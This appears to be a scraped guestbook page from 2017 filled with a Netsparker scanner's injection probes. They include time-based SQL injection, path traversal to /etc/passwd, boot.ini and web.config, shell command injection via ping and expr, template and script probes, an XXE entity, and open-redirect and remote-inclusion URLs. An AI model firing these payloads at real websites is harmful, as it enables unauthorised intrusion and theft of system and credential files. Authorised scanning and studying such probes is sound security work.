+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

http://testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

///r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

/\r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:21 AM +

+

+ ]>&lfi; +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:20 AM +

+

+ ]>&lfi; +

+
+

r87.com/?https://testsparker.com/

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

r87.com/?http://testsparker.com/

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

//r87.com/?http://testsparker.com/

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ #{28275*28275-(13)} +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ ${28275*28275-(13)} +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ http://example.com/? +ns: netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ +

+
+

http://r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:14 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

#{28275*28275-(13)}

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

${28275*28275-(13)}

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ r87.com/n +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:05 AM +

+

+ php://filter//resource=http://r87.com/n?ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ http://r87.com/n?.aspx +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ http://r87.com/n?ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ hTTp://r87.com/n +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://example.com/? +ns: netsparker056650=vuln

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

"+print localtime()*0+0xFFF9999-22+"

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

'+print localtime()*0+0xFFF9999-22+'

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ -1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" +

+
+

eval('print localtime()*0+0xFFF9999-22')

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

print localtime()*0+0xFFF9999-22

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

[php]print(int)0xFFF9999-22;[/php]

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

'{${print(int)0xFFF9999-22}}'

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

{php}print(int)0xFFF9999-22;{/php}

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

"+print(int)0xFFF9999-22+"

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

'+print(int)0xFFF9999-22+'

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

+print(int)0xFFF9999-22;//

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

print(int)0xFFF9999-22;

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

Guestbook.aspxďż˝

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

print(int)0xFFF9999-22

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

Guestbook.aspx

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

data:;base64,TlM3NzU0NTYxNDQ2NTc1

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

<% response.write(268409241-22) %>

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

"+response.write(268409241-22)+"

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

/etc/passwd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

+response.write(268409241-22)'

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

response.write(268409241-22)'

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝.aspx

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:52 AM +

+

+ '+((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

hTTp://r87.com/n

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

file:///etc/passwd

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ |expr${IFS}268409241${IFS}-${IFS}2 +

+
+

/../../../../../../../../../../proc/versionďż˝.aspx

+

+ 8/23/2017 8:06:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ 1));SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ '));SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ expr 268409241 - 2 +

+
+

/../../../../../../../../../../proc/version

+

+ 8/23/2017 8:06:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ ping -c 25 127.0.0.1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ expr 268409241 - 2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ ping -n 25 127.0.0.1 +

+
+

/../../../../../../../../../../var/log/apache/error.log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ ');SELECT pg_sleep(25)-- +

+
+

/../../../../../../../../../../var/log/apache2/error.log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

/../../../../../../../../../../etc/httpd/logs/error_log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ 1);SELECT pg_sleep(25)-- +

+
+

/../../../../../../../../../../etc/httpd/logs/error.log

+

+ 8/23/2017 8:06:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ ping -c 25 127.0.0.1 & +

+
+

/../../../../../../../../../../proc/self/fd/2ďż˝.aspx

+

+ 8/23/2017 8:06:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ 1;SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ &ping -c 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ ';SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ '&ping -c 25 127.0.0.1 &' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ "&ping -c 25 127.0.0.1 &" +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ & ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ ((select sleep(25)))a-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ '& ping -n 25 127.0.0.1 & +

+
+

/../../../../../../../../../../proc/self/fd/2

+

+ 8/23/2017 8:06:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ "& ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:43 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

/../../../../../../../../../../windows/iis6.log

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

//r87.com/?0x003DBA

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

....//....//....//....//....//....//....//....//....//....//....//windows\win.ini

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

//r87.com/?0x003DB9

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

c:\windows\win.ini

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:42 AM +

+

+ &expr 268409241 - 2 & +

+
+

/../../../../../../../../../../windows/win.iniďż˝.aspx

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

file:/windows/win.ini

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.ini

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ '&expr 268409241 - 2 &' +

+
+

/../../../../../../../../../../web.config

+

+ 8/23/2017 8:06:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ "&expr 268409241 - 2 &" +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ SET /A 0xFFF9999-2 +

+
+

[ns](javascript:netsparker(0x003D91);)

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

'"@-->

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ 1)) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ ')) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:37 AM +

+

+ ') WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:37 AM +

+

+ +

+
+

'+netsparker(0x003D8D)+'

+

+ 8/23/2017 8:06:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

netsparker(0x003D8B);

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

netsparker(0x003D89)

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:35 AM +

+

+ SET /A 0xFFF9999-2 & +

+
+

ping -c 25 127.0.0.1

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

',netsparker(0x003D87),'

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

ping -n 25 127.0.0.1

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

ping -c 25 127.0.0.1 &

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:35 AM +

+

+ 1) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:34 AM +

+

+ WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:34 AM +

+

+ 1 WAITFOR DELAY '0:0:25'-- +

+
+

\';netsparker(0x003D85);///

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

c%3a%5cboot.ini

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

&ping -c 25 127.0.0.1 &

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

file%3a%2fboot.ini

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

'&ping -c 25 127.0.0.1 &'

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

"&ping -c 25 127.0.0.1 &"

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:33 AM +

+

+ & SET /A 0xFFF9999-2 & +

+
+

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

"+netsparker(0x003D83)+"

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

c:\boot.ini

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

file:/boot.ini

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:32 AM +

+

+ '& SET /A 0xFFF9999-2 & +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

/../../../../../../../../../../boot.iniďż˝.aspx

+

+ 8/23/2017 8:06:31 AM +

+

+ +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:06:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:29 AM +

+

+ "& SET /A 0xFFF9999-2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:29 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:29 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

'+netsparker(0x003D81)+'

+

+ 8/23/2017 8:06:29 AM +

+

+ +

+
+

& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:06:29 AM +

+

+ +

+
+

*/netsparker(0x003D7F);/*

+

+ 8/23/2017 8:06:29 AM +

+

+ +

+
+

'& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:06:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:28 AM +

+

+ OR X='ss +

+
+

"& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:06:28 AM +

+

+ +

+
+

body{x:expression(netsparker(0x003D7D))}

+

+ 8/23/2017 8:06:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:28 AM +

+

+ +

+
+

n;ns:expression(netsparker(0x003D7B));

+

+ 8/23/2017 8:06:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:27 AM +

+

+ '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:27 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:27 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:26 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:26 AM +

+

+ AND 'NS='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:26 AM +

+

+ NS +NO +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:26 AM +

+

+ ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:26 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:26 AM +

+

+ 1 OR 1=1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:25 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:25 AM +

+

+ +

+
+

<%a style=x:expre/**/ssion(netsparker(0x003D79))>

+

+ 8/23/2017 8:06:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:22 AM +

+

+ +

+
+

+

+ 8/23/2017 8:06:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:22 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:22 AM +

+

+ OR X='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:21 AM +

+

+ 1 OR 17-7=10 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:21 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)))) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:20 AM +

+

+ 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:20 AM +

+

+ -1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:19 AM +

+

+ -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:19 AM +

+

+ (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:18 AM +

+

+ +

+
+

javascript:netsparker(0x003D75)

+

+ 8/23/2017 8:06:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:18 AM +

+

+ '+NSFTW+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:18 AM +

+

+ ' OR 1=1 OR 'ns'='ns +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:18 AM +

+

+ AND 'NS='ss +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:18 AM +

+

+ NS +NO +

+
+

+

+ 8/23/2017 8:06:18 AM +

+

+ +

+
+

|expr${IFS}268409241${IFS}-${IFS}2

+

+ 8/23/2017 8:06:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:17 AM +

+

+ ' +

+
+

http://www.example.com

+

